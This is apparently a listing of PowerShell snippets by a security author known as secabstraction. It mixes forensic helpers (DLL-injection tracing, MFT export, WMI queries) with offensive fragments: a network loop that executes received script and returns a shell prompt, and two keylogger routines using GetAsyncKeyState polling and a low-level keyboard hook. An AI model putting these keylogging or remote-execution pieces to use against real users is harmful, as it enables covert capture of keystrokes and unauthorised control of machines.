secabstraction

function Get-DosDevice {
[CmdletBinding()]
    Param (
        [Parameter()]
        [ValidateNotNullOrEmpty()]
        [String]$Name
    )
    
    #region WinAPI

secabstraction

function Get-ProcessTrace {
<#
.SYNOPSIS
Walks thread stacks of specified process(es) to help identify dll injection.

.DESCRIPTION
This commandlet uses Windows Remote Management to trace the threads of specified process(es) of remote machines.

.PARAMETER ComputerName 
Specify the hostname or IP address of a remote computer to retrieve data from.

secabstraction

function Export-MFT {
<#
.SYNOPSIS
Extracts master file table from volume.

Version: 0.1
Author : Jesse Davis (@secabstraction)
License: BSD 3-Clause

.DESCRIPTION

secabstraction

function Invoke-WmiRunspaceQuery {
<#
.SYNOPSIS
Creates a multi-threaded effect by using runspaces to speed up WMI queries to multiple hosts.

Version: 0.1
Author : Jesse Davis (@secabstraction)
License: BSD 3-Clause

.PARAMETER ComputerName 

secabstraction

try { $ScriptBlock = [ScriptBlock]::Create($EncodingType.GetString($ReceivedBytes)) }
catch { break } # network stream closed

$Global:Error.Clear()

$BytesToSend += $EncodingType.GetBytes(($ScriptBlock.Invoke() | Out-String))
foreach ($Err in $Global:Error) { $BytesToSend += $EncodingType.GetBytes($Err.Exception.Message) }
$BytesToSend += $EncodingType.GetBytes(("`nPS $((Get-Location).Path)> "))

secabstraction

function Setup_CMD
{
  param($FuncSetupVars)
  if($global:Verbose){$Verbose = $True}
  $FuncVars = @{}
  $ProcessStartInfo = New-Object System.Diagnostics.ProcessStartInfo
  $ProcessStartInfo.FileName = $FuncSetupVars[0]
  $ProcessStartInfo.UseShellExecute = $False
  $ProcessStartInfo.RedirectStandardInput = $True
  $ProcessStartInfo.RedirectStandardOutput = $True

secabstraction

while ($true) { continue } 
# With nothing to do this quickly eats 100% CPU

secabstraction

while ($true) { Start-Sleep -Milliseconds 10 ; continue }
# This minute pause is imperceptible to a user, but drops the CPU to 0%

secabstraction

$Initilizer = {

    function KeyLog {
        # Win32 Imports
        Start-Sleep -Milliseconds $PollingInterval
        # Excessive GetAsyncKeyState loop to check for pressed keys
    }
}

Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null

secabstraction

# Set WM_KEYBOARD_LL hook
$Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)

$Stopwatch = [Diagnostics.Stopwatch]::StartNew()

# Message loop
while ($true) {
    if ($PSBoundParameters.Timeout -and ($Stopwatch.Elapsed.TotalMinutes -gt $Timeout)) { break }
    $PeekMessage.Invoke([IntPtr]::Zero, [IntPtr]::Zero, 0x100, 0x109, 0)
    Start-Sleep -Milliseconds 10